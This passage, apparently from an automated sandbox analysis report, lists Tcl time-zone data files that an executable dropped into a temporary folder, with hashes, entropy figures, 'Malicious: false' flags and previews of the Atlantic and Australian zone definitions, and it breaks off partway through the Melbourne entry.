Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	175
Entropy (8bit):	4.92967249261586
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqxVyWJooedVAIgoqxWJ0YF2RQqG0EHEcAg/h8QasWJ/n:SlSWB9IZaM3ymSDdVAIgo2Q2RQaK8H
MD5:	AD9B5217497DBC1CE598573B85F3C056
SHA1:	60984544F5BBD4A5B2B8F43741D66A573A2CF1DC
SHA-256:	BE291E952254B6F0C95C2E2497BE12410D7F1E36D0D1035B3A9BC65D0EDCB65F
SHA-512:	F5D47008495425C386EBAB426195393168E402726405CF23826571E548A3CEFABBA51D87D637C0724FF2CC4F1276D81EACF14D0F9CFC7CBFCC025EEFA0960278
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Europe/Oslo)]} {. LoadTimeZoneFile Europe/Oslo.}.set TZData(:Atlantic/Jan_Mayen) $TZData(:Europe/Oslo).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Atlantic\Madeira

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9568
Entropy (8bit):	3.8487941547305065
Encrypted:	false
SSDEEP:	192:jZ5Jmz1qVIZtQIMj544IrvfMsbxZTH7qwQ:jZ5Jmz1qVIZtbMUM8xZTH7qwQ
MD5:	7C1BFAE290B201F8DEAC71F0B02FF161
SHA1:	99B24D6A564560B973AEBAB0EA5FAC74FF070AEB
SHA-256:	A58D2E3726BAF8EA030EB684DC326C14AC436C5398E50F0DF04F0BE1A7E117F2
SHA-512:	486A434CB27CF8EC91768344298D3F6E9CB5BAC3BD29C622E91D087C5C20019FECF78D6F654002B735A86768CB45622B92B10885AEF56FDDC0136C47DDF81270
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Atlantic/Madeira) {. {-9223372036854775808 -4056 0 LMT}. {-2713906344 -4056 0 FMT}. {-1830379944 -3600 0 MADT}. {-1689552000 0 1 MADST}. {-1677798000 -3600 0 MADT}. {-1667433600 0 1 MADST}. {-1647734400 -3600 0 MADT}. {-1635811200 0 1 MADST}. {-1616198400 -3600 0 MADT}. {-1604361600 0 1 MADST}. {-1584662400 -3600 0 MADT}. {-1572739200 0 1 MADST}. {-1553040000 -3600 0 MADT}. {-1541203200 0 1 MADST}. {-1521504000 -3600 0 MADT}. {-1442448000 0 1 MADST}. {-1426809600 -3600 0 MADT}. {-1379289600 0 1 MADST}. {-1364774400 -3600 0 MADT}. {-1348444800 0 1 MADST}. {-1333324800 -3600 0 MADT}. {-1316390400 0 1 MADST}. {-1301270400 -3600 0 MADT}. {-1284336000 0 1 MADST}. {-1269820800 -3600 0 MADT}. {-1221436800 0 1 MADST}. {-1206921600 -3600 0 MADT}. {-1191196800 0 1 MADST}. {-1175472000 -3600 0 MADT}. {-1127692800 0 1 MADST}. {-1111968000 -3600 0 MAD

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Atlantic\Reykjavik

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1995
Entropy (8bit):	3.9109506980242084
Encrypted:	false
SSDEEP:	48:59GWG3eGvGM1GQGAGlGdG38GCGu9GoGllG7yGPGYvGHGqGCGEFGrOG6BGFGjGgGx:el39eM0nXkM3TxBvi7h+YemJx1htEy3x
MD5:	A6E7CF77C9FA8AA0B8B0FC6B51C2EC26
SHA1:	24FE9205BB89CB22ADCA1096C64BC75CCFC49B57
SHA-256:	D46C1CC9041CE8D95BAA10F32E3C0A37C682F6FC9841D2BD75830F1CD9DDB3DE
SHA-512:	0839D74F81A6F4FAA2DD0DA04B9954C7F15FB3023659354A8147A84F42756A2E4CDC12A958323DC8E220FF4D3A0AD7BC3F44251900D729217781C724957E7F7B
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Atlantic/Reykjavik) {. {-9223372036854775808 -5280 0 LMT}. {-1956609120 -3600 0 IST}. {-1668211200 0 1 ISST}. {-1647212400 -3600 0 IST}. {-1636675200 0 1 ISST}. {-1613430000 -3600 0 IST}. {-1605139200 0 1 ISST}. {-1581894000 -3600 0 IST}. {-1539561600 0 1 ISST}. {-1531350000 -3600 0 IST}. {-968025600 0 1 ISST}. {-952293600 -3600 0 IST}. {-942008400 0 1 ISST}. {-920239200 -3600 0 IST}. {-909957600 0 1 ISST}. {-888789600 -3600 0 IST}. {-877903200 0 1 ISST}. {-857944800 -3600 0 IST}. {-846453600 0 1 ISST}. {-826495200 -3600 0 IST}. {-815004000 0 1 ISST}. {-795045600 -3600 0 IST}. {-783554400 0 1 ISST}. {-762991200 -3600 0 IST}. {-752104800 0 1 ISST}. {-731541600 -3600 0 IST}. {-717631200 0 1 ISST}. {-700092000 -3600 0 IST}. {-686181600 0 1 ISST}. {-668642400 -3600 0 IST}. {-654732000 0 1 ISST}. {-636588000 -3600 0 IST}. {-623282400 0 1

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Atlantic\South_Georgia

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	154
Entropy (8bit):	5.004788019784553
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52RQqGtlN62/EUXGm2OHXT14YvXhFvd6WL:SlSWB9X52RQrlo2Mbm2OHXqYPTF6WL
MD5:	954625C02619664D3B5C4B72A22D8C51
SHA1:	933A7E9368864232B29823FEEFE045032BE154A5
SHA-256:	D23882718ECEB397D330B463DCA1C7E266134F060E0AED421F056E7379E3E1A3
SHA-512:	DD9E58A17967F91937BB71C6A9DD296B4AE49DD7C264874E6720D2B521EAFC1D4F3BF0CA66F931BA16499225390DD963110E9FE8524130F407328E3E9F8BD8BE
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Atlantic/South_Georgia) {. {-9223372036854775808 -8768 0 LMT}. {-2524512832 -7200 0 GST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Atlantic\St_Helena

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	184
Entropy (8bit):	4.831929124818878
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqss1kvFVAIgNGE4Rvt2RQqGt4r+DcsP:SlSWB9IZaM3y7sYFVAIgNT4tt2RQr4rC
MD5:	8F4668F0D79577139B59A80D714E45A5
SHA1:	BCD79EDCCB687A2E74794B8CFDE99A7FEC294811
SHA-256:	C78C4E980A378B781ED6D2EA72ABAEF8FFED186538DEB18B61D94B575734FC6A
SHA-512:	08D1472377229BC76A496259344263993791B4DF3F83D94F798779249A5CAE15F6B4341A665387780EA8B1278E9D5FFBCA1BCDE06B3E54750E32078FA482ABD6
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Abidjan)]} {. LoadTimeZoneFile Africa/Abidjan.}.set TZData(:Atlantic/St_Helena) $TZData(:Africa/Abidjan).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Atlantic\Stanley

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2215
Entropy (8bit):	3.889108793636345
Encrypted:	false
SSDEEP:	48:50wqSiSiSafSYSGpSWW75ESrS0SFSpSL/ShSvSCSCZSCSwSKUXSzSNSnSw/S/pSu:Pq5vz9Ny7OSpgEk/kyXZLhWX2IeXApZ5
MD5:	B08E4FE18C411591DB170A4C995088CA
SHA1:	6D3928877CEF2C20924BA30FBF61EA6933EF925C
SHA-256:	E1410499E96950029924485AB21250C09AB0E3494DD05128C935FB99C8BBABE9
SHA-512:	888CBB8C19F677B73D6203B622501922BD4DC59FA6D962A4EEE6C6DA2A0047739346E0794C5F6D0482BDDAB89289479D2A07986C3C23739657B02FF3B4000AB9
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Atlantic/Stanley) {. {-9223372036854775808 -13884 0 LMT}. {-2524507716 -13884 0 SMT}. {-1824235716 -14400 0 FKT}. {-1018209600 -10800 1 FKST}. {-1003093200 -14400 0 FKT}. {-986760000 -10800 1 FKST}. {-971643600 -14400 0 FKT}. {-954705600 -10800 1 FKST}. {-939589200 -14400 0 FKT}. {-923256000 -10800 1 FKST}. {-908139600 -14400 0 FKT}. {-891806400 -10800 1 FKST}. {-876690000 -14400 0 FKT}. {-860356800 -10800 1 FKST}. {420606000 -7200 0 FKT}. {433303200 -7200 1 FKST}. {452052000 -10800 0 FKT}. {464151600 -7200 1 FKST}. {483501600 -10800 0 FKT}. {495597600 -14400 0 FKT}. {495604800 -10800 1 FKST}. {514350000 -14400 0 FKT}. {527054400 -10800 1 FKST}. {545799600 -14400 0 FKT}. {558504000 -10800 1 FKST}. {577249200 -14400 0 FKT}. {589953600 -10800 1 FKST}. {608698800 -14400 0 FKT}. {621403200 -10800 1 FKST}. {640753200 -14400 0 FKT}. {652852800

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\ACT

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	185
Entropy (8bit):	4.813373101386862
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq/xJjLHVAIgoXjLSt2QWCCjpMFBx/h4QWCCjLu:SlSWB9IZaM3yI9HVAIgmo2DCeMFB/4D2
MD5:	F48AD4B81CD3034F6E5D3CA1B5A8BDD4
SHA1:	676FE3F50E3E132C1FD185A1EE1D8C830763204F
SHA-256:	553D7DA9A2EDBD933E8920573AE6BCBAA00302817939046CF257CAEACEC19FAD
SHA-512:	36A4E2286FBEF2F4ED4B9CD1A71136E227FEF4B693F9F43649B790E859221EE470679A7E3C283770DA5CB0113A1C8C1F99480E7020328FFE3E9C870798B092F5
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Australia/Sydney)]} {. LoadTimeZoneFile Australia/Sydney.}.set TZData(:Australia/ACT) $TZData(:Australia/Sydney).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\Adelaide

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8099
Entropy (8bit):	3.812665609163787
Encrypted:	false
SSDEEP:	96:JPtFF+Wc4CNphbQbPzpRtYac1w6N5HxnLmPaod/gWFXht/c+u8dRYaaiqcdtXHVf:JP5+zNMdYacv5HhLmPajSXz5HV5x
MD5:	4E73BDB571DBF2625E14E38B84C122B4
SHA1:	B9D7B7D2855D102800B53FB304633F5BC961A8D0
SHA-256:	9138DF8A3DE8BE4099C9C14917B5C5FD7EB14751ACCD66950E0FDB686555FFD6
SHA-512:	CF9AB3E9A7C1A76BCC113828ABAF88FE83AAF5CAD7BD181201E06A0CF43E30BA8817AAA88AB3F0F14F459599D91F63ECE851F095154050263C5AD08B2275B4C7
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Australia/Adelaide) {. {-9223372036854775808 33260 0 LMT}. {-2364110060 32400 0 ACST}. {-2230189200 34200 0 ACST}. {-1672565340 37800 1 ACDT}. {-1665390600 34200 0 ACST}. {-883639800 37800 1 ACDT}. {-876126600 34200 0 ACST}. {-860398200 37800 1 ACDT}. {-844677000 34200 0 ACST}. {-828343800 37800 1 ACDT}. {-813227400 34200 0 ACST}. {31501800 34200 0 ACST}. {57688200 37800 1 ACDT}. {67969800 34200 0 ACST}. {89137800 37800 1 ACDT}. {100024200 34200 0 ACST}. {120587400 37800 1 ACDT}. {131473800 34200 0 ACST}. {152037000 37800 1 ACDT}. {162923400 34200 0 ACST}. {183486600 37800 1 ACDT}. {194977800 34200 0 ACST}. {215541000 37800 1 ACDT}. {226427400 34200 0 ACST}. {246990600 37800 1 ACDT}. {257877000 34200 0 ACST}. {278440200 37800 1 ACDT}. {289326600 34200 0 ACST}. {309889800 37800 1 ACDT}. {320776200 34200 0 ACST}. {341339400 37800 1 ACDT}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\Brisbane

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	651
Entropy (8bit):	4.265580091557009
Encrypted:	false
SSDEEP:	12:MBp52nmdHLOYPv+tCdd8xdsWz9ag5J4UVdKcWWC:cQne6skVk
MD5:	296B4B78CEE05805E5EE53B4D5F7284F
SHA1:	DDB5B448E99F278C633B2DBD5A816C4DE28DC726
SHA-256:	2580C3EEEC029572A1FF629E393F64E326DEDAA96015641165813718A8891C4D
SHA-512:	9DE71000BB8AC48A82D83399BD707B661B50882EEBFE2A7E58A81A2F6C04B1F711DAE3AA09A77A9EE265FB633B8883D2C01867AF96F8BE5137119E4FB447DF8C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Australia/Brisbane) {. {-9223372036854775808 36728 0 LMT}. {-2366791928 36000 0 AEST}. {-1672567140 39600 1 AEDT}. {-1665392400 36000 0 AEST}. {-883641600 39600 1 AEDT}. {-876128400 36000 0 AEST}. {-860400000 39600 1 AEDT}. {-844678800 36000 0 AEST}. {-828345600 39600 1 AEDT}. {-813229200 36000 0 AEST}. {31500000 36000 0 AEST}. {57686400 39600 1 AEDT}. {67968000 36000 0 AEST}. {625593600 39600 1 AEDT}. {636480000 36000 0 AEST}. {657043200 39600 1 AEDT}. {667929600 36000 0 AEST}. {688492800 39600 1 AEDT}. {699379200 36000 0 AEST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\Broken_Hill

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8162
Entropy (8bit):	3.820479465698825
Encrypted:	false
SSDEEP:	96:EkxtFF+Wc4Yphbhd1zCRtYac1w6N5HxnLmPaod/gWFXht/c+u8dRYaaiqcdtXHVf:Ekx5+X5sYacv5HhLmPajSXz5HV5x
MD5:	B4AF947B4737537DF09A039D1E500FB8
SHA1:	CCC0DC52D586BFAA7A0E70C80709231B4BB93C54
SHA-256:	80BBD6D25D4E4EFA234EAD3CB4EB801DC576D1348B9A3E1B58F729FEB688196D
SHA-512:	3B27C36FA3034CB371DD07C992B3A5B1357FC7A892C35910DA139C7DA560DDC0AA1E95966438776F75397E7219A7DA0AD4AD6FB922B5E0BE2828D3534488BFD0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Australia/Broken_Hill) {. {-9223372036854775808 33948 0 LMT}. {-2364110748 36000 0 AEST}. {-2314951200 32400 0 ACST}. {-2230189200 34200 0 ACST}. {-1672565340 37800 1 ACDT}. {-1665390600 34200 0 ACST}. {-883639800 37800 1 ACDT}. {-876126600 34200 0 ACST}. {-860398200 37800 1 ACDT}. {-844677000 34200 0 ACST}. {-828343800 37800 1 ACDT}. {-813227400 34200 0 ACST}. {31501800 34200 0 ACST}. {57688200 37800 1 ACDT}. {67969800 34200 0 ACST}. {89137800 37800 1 ACDT}. {100024200 34200 0 ACST}. {120587400 37800 1 ACDT}. {131473800 34200 0 ACST}. {152037000 37800 1 ACDT}. {162923400 34200 0 ACST}. {183486600 37800 1 ACDT}. {194977800 34200 0 ACST}. {215541000 37800 1 ACDT}. {226427400 34200 0 ACST}. {246990600 37800 1 ACDT}. {257877000 34200 0 ACST}. {278440200 37800 1 ACDT}. {289326600 34200 0 ACST}. {309889800 37800 1 ACDT}. {320776200 34200 0 ACS

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\Canberra

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	190
Entropy (8bit):	4.80238049701662
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq/xJjLHVAIgoXjLSt2QWCCjnSV1+QWCCjLu:SlSWB9IZaM3yI9HVAIgmo2DCcq+DCyu
MD5:	16F9CFC4C5B9D5F9F9DB9346CECE4393
SHA1:	ED1ED7BA73EB287D2C8807C4F8EF3EFA516F5A68
SHA-256:	853A159B8503B9E8F42BBCE60496722D0A334FD79F30448BAD651F18BA388055
SHA-512:	9572CCB1BC499BADA72B5FE533B56156DB9EB0DEDFD4AE4397AD60F2A8AF5991F7B1B06A1B8D14C73832543AF8C12F5B16A9A80D093BF0C7ED6E38FF8B66E197
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Australia/Sydney)]} {. LoadTimeZoneFile Australia/Sydney.}.set TZData(:Australia/Canberra) $TZData(:Australia/Sydney).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\Currie

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8097
Entropy (8bit):	3.7668602204696375
Encrypted:	false
SSDEEP:	96:GJiG+HuKIyymp8tLhbVXd33cZF7bLaE9DTtM/m7eeYWlQOZIeVUF:GJqXytLhbVXdnPQler
MD5:	7E0D1435E11C9AE84EF1A863D1D90C61
SHA1:	CE76A3D902221F0EF9D8C25EB2D46A63D0D09D0B
SHA-256:	3C0B35627729316A391C5A0BEE3A0E353A0BAEAD5E49CE7827E53D0F49FD6723
SHA-512:	D262294AC611396633184147B0F6656290BF97A298D6F7EC025E1D88AAC5343363744FD1CB849CDE84F3C1B2CF860CFA7CA43453ADBF68B0903DA1361F0DCD69
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Australia/Currie) {. {-9223372036854775808 34528 0 LMT}. {-2345794528 36000 0 AEST}. {-1680508800 39600 1 AEDT}. {-1669892400 39600 0 AEDT}. {-1665392400 36000 0 AEST}. {-883641600 39600 1 AEDT}. {-876128400 36000 0 AEST}. {-860400000 39600 1 AEDT}. {-844678800 36000 0 AEST}. {-828345600 39600 1 AEDT}. {-813229200 36000 0 AEST}. {47138400 36000 0 AEST}. {57686400 39600 1 AEDT}. {67968000 36000 0 AEST}. {89136000 39600 1 AEDT}. {100022400 36000 0 AEST}. {120585600 39600 1 AEDT}. {131472000 36000 0 AEST}. {152035200 39600 1 AEDT}. {162921600 36000 0 AEST}. {183484800 39600 1 AEDT}. {194976000 36000 0 AEST}. {215539200 39600 1 AEDT}. {226425600 36000 0 AEST}. {246988800 39600 1 AEDT}. {257875200 36000 0 AEST}. {278438400 39600 1 AEDT}. {289324800 36000 0 AEST}. {309888000 39600 1 AEDT}. {320774400 36000 0 AEST}. {341337600 39600 1 AEDT}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\Darwin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	4.4678452003570435
Encrypted:	false
SSDEEP:	12:MBp52umdHPPZUj/sVdFFtf/FFAXFFwFFgh:cQuenZq/sVd/tH/AX/w/C
MD5:	FC9689FEF4223726207271E2EAAE6548
SHA1:	26D0B4FC2AD943FCAC90F179F7DF6C18EE12EBB8
SHA-256:	C556C796CCD3C63D9F694535287DC42BB63140C8ED39D31FDA0DA6E94D660A1C
SHA-512:	7898C0DE77297FBAA6AAF9D15CB9765DAF63ED4761BA181D0D1A590A6F19A6B7F6E94564A80EB691ED2D89C96D68449BF57816E4093E5011B93D30C3E1624D60
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Australia/Darwin) {. {-9223372036854775808 31400 0 LMT}. {-2364108200 32400 0 ACST}. {-2230189200 34200 0 ACST}. {-1672565340 37800 1 ACDT}. {-1665390600 34200 0 ACST}. {-883639800 37800 1 ACDT}. {-876126600 34200 0 ACST}. {-860398200 37800 1 ACDT}. {-844677000 34200 0 ACST}. {-828343800 37800 1 ACDT}. {-813227400 34200 0 ACST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\Eucla

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	734
Entropy (8bit):	4.311332541012831
Encrypted:	false
SSDEEP:	12:MBp527JmdHvOYP2MWcDmMuUc0kUmM5c6uwmMIUv2ic5HVKmMwcqmMVcmmMscukxU:cQ7JemsnmUduwwRh00xAiNQhqU1
MD5:	AD8EF9C3FFC8A443A4559EC7C6E48D44
SHA1:	B2332BC4EDFDAAEBB7AE59AD3E82FBF5308EC003
SHA-256:	3028DB3A5067D665E11DF993DCB1140CF7A534AF253B1906DAF0BE266A7241BE
SHA-512:	C57A45D3BB50666068616AF9F18C969888C261BC5CA4BFFEAB9D0A456AF52C5D021E0ABBE1776BF9D92A2672D1045E3036A0E649925FF5646FC3E72511D1750D
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Australia/Eucla) {. {-9223372036854775808 30928 0 LMT}. {-2337928528 31500 0 ACWST}. {-1672562640 35100 1 ACWDT}. {-1665387900 31500 0 ACWST}. {-883637100 35100 1 ACWDT}. {-876123900 31500 0 ACWST}. {-860395500 35100 1 ACWDT}. {-844674300 31500 0 ACWST}. {-836473500 35100 0 ACWST}. {152039700 35100 1 ACWDT}. {162926100 31500 0 ACWST}. {436295700 35100 1 ACWDT}. {447182100 31500 0 ACWST}. {690311700 35100 1 ACWDT}. {699383700 31500 0 ACWST}. {1165079700 35100 1 ACWDT}. {1174756500 31500 0 ACWST}. {1193505300 35100 1 ACWDT}. {1206810900 31500 0 ACWST}. {1224954900 35100 1 ACWDT}. {1238260500 31500 0 ACWST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\Hobart

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8325
Entropy (8bit):	3.767204262183229
Encrypted:	false
SSDEEP:	96:8xKiG+HuKIyymp8tLhbVXd33cZF7bLaE9DTtM/m7eeYWlQOZIeVUF:8xKqXytLhbVXdnPQler
MD5:	67AF9A2B827308DD9F7ABEC9441C3250
SHA1:	CD87DD4181B41E66EFEA9C7311D5B7191F41EA3A
SHA-256:	814BD785B5ACDE9D2F4FC6E592E919BA0FE1C3499AFC1071B7FA02608B6032AB
SHA-512:	BC6B8CE215B3B4AC358EB989FB1BB5C6AD61B39B7BBD36AAA924A2352E823C029131E79DA927FEEBDD5CF759FDE527F39089C93B0826995D37052362BEAE09F6
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Australia/Hobart) {. {-9223372036854775808 35356 0 LMT}. {-2345795356 36000 0 AEST}. {-1680508800 39600 1 AEDT}. {-1669892400 39600 0 AEDT}. {-1665392400 36000 0 AEST}. {-883641600 39600 1 AEDT}. {-876128400 36000 0 AEST}. {-860400000 39600 1 AEDT}. {-844678800 36000 0 AEST}. {-828345600 39600 1 AEDT}. {-813229200 36000 0 AEST}. {-94730400 36000 0 AEST}. {-71136000 39600 1 AEDT}. {-55411200 36000 0 AEST}. {-37267200 39600 1 AEDT}. {-25776000 36000 0 AEST}. {-5817600 39600 1 AEDT}. {5673600 36000 0 AEST}. {25632000 39600 1 AEDT}. {37728000 36000 0 AEST}. {57686400 39600 1 AEDT}. {67968000 36000 0 AEST}. {89136000 39600 1 AEDT}. {100022400 36000 0 AEST}. {120585600 39600 1 AEDT}. {131472000 36000 0 AEST}. {152035200 39600 1 AEDT}. {162921600 36000 0 AEST}. {183484800 39600 1 AEDT}. {194976000 36000 0 AEST}. {215539200 39600 1 AEDT}. {226

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\LHI

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	194
Entropy (8bit):	4.865814837459796
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3yIoGEowFVAIgjG/L2DCkx/2DCPGT:MBaIMje0QL2a7
MD5:	1221FC8932CA3DCA431304AF660840F0
SHA1:	5E023E37D98EA1321B10D36A79B26DF1A017F9D5
SHA-256:	EB8FDBCFDE9E2A2AA829E784D402966F61A5BF6F2034E0CB06A24FACB5B87874
SHA-512:	EB19FE74DC13456D0F9F1EDC9C444793A4011D3B65ADF6C7E7A405504079EB3A0C27F69DDA662F797FE363948E93833422F5DC3C1891AA7D414B062BE4DD3887
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Australia/Lord_Howe)]} {. LoadTimeZoneFile Australia/Lord_Howe.}.set TZData(:Australia/LHI) $TZData(:Australia/Lord_Howe).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\Lindeman

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	796
Entropy (8bit):	4.1890768067004
Encrypted:	false
SSDEEP:	12:MBp52gCmdHVP/+tCdd8xdsWz9ag5J4UVdKcWW3ty/yJATUJrRxC:cQgCeRUVfl7w
MD5:	08E88B2169BC76172E40515F9DA2C147
SHA1:	5C03B7C9748E63C2B437C97F8ED923A9F3E374E7
SHA-256:	9E3558C8514E97274D9F938E9841C5E3355E738BBD55BCB17FA27FF0E0276AEA
SHA-512:	39E10639C97DE82428818B9C5D059BA853A17113351BAEE2512806AC3066EDDF0294859519AFBE425E0D1315B1A090F84C08CEFEDCE2A3D3A38EEF782234D8C4
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Australia/Lindeman) {. {-9223372036854775808 35756 0 LMT}. {-2366790956 36000 0 AEST}. {-1672567140 39600 1 AEDT}. {-1665392400 36000 0 AEST}. {-883641600 39600 1 AEDT}. {-876128400 36000 0 AEST}. {-860400000 39600 1 AEDT}. {-844678800 36000 0 AEST}. {-828345600 39600 1 AEDT}. {-813229200 36000 0 AEST}. {31500000 36000 0 AEST}. {57686400 39600 1 AEDT}. {67968000 36000 0 AEST}. {625593600 39600 1 AEDT}. {636480000 36000 0 AEST}. {657043200 39600 1 AEDT}. {667929600 36000 0 AEST}. {688492800 39600 1 AEDT}. {699379200 36000 0 AEST}. {709912800 36000 0 AEST}. {719942400 39600 1 AEDT}. {731433600 36000 0 AEST}. {751996800 39600 1 AEDT}. {762883200 36000 0 AEST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\Lord_Howe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7251
Entropy (8bit):	3.8305538870955127
Encrypted:	false
SSDEEP:	96:zVKHN3t5NY3aUeFANqlbWYk3Fb0r/Dnuj7v28P18qrc/JFmiRQTIPw3ar:zIyTNqlbWYk1bU7PR
MD5:	B23F257BC30FD057ABD04C64A3EF02C1
SHA1:	B35BE3C39F87CCF2E9786D024F9AE7850700FC47
SHA-256:	CD4FF9F07D4BB675EA0D3559436965DDE2899A5BB7F732D78E90D7AF77E426FF
SHA-512:	5668B65099BF5D50F1346DFCE4EE0193FD85E5BE3A4B148C8ECDF042E189EF5A56168DE53A0484D1BF0584875113375835A73DE7BA3E0A8C2ED16BB147DE3DCB
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Australia/Lord_Howe) {. {-9223372036854775808 38180 0 LMT}. {-2364114980 36000 0 AEST}. {352216800 37800 0 LHST}. {372785400 41400 1 LHDT}. {384273000 37800 0 LHST}. {404839800 41400 1 LHDT}. {415722600 37800 0 LHST}. {436289400 41400 1 LHDT}. {447172200 37800 0 LHST}. {467739000 41400 1 LHDT}. {478621800 37800 0 LHST}. {499188600 39600 1 LHDT}. {511282800 37800 0 LHST}. {530033400 39600 1 LHDT}. {542732400 37800 0 LHST}. {562087800 39600 1 LHDT}. {574786800 37800 0 LHST}. {594142200 39600 1 LHDT}. {606236400 37800 0 LHST}. {625591800 39600 1 LHDT}. {636476400 37800 0 LHST}. {657041400 39600 1 LHDT}. {667926000 37800 0 LHST}. {688491000 39600 1 LHDT}. {699375600 37800 0 LHST}. {719940600 39600 1 LHDT}. {731430000 37800 0 LHST}. {751995000 39600 1 LHDT}. {762879600 37800 0 LHST}. {783444600 39600 1 LHDT}. {794329200 37800 0 LHST}. {8148

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\Melbourne

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8069
Entropy (8bit):	3.769669933493392
Encrypted:	false
SSDEEP:	96:sriG+vi8GyddsYtLhbVXd33cZF7bLaE9DTtM/m7eeYWlQOZIeVUF:sr/2tLhbVXdnPQler
MD5:	E38FDAF8D9A9B1D6F2B1A8E10B9886F4
SHA1:	6188BD62E94194DB469BE93224A396D08A986D4D
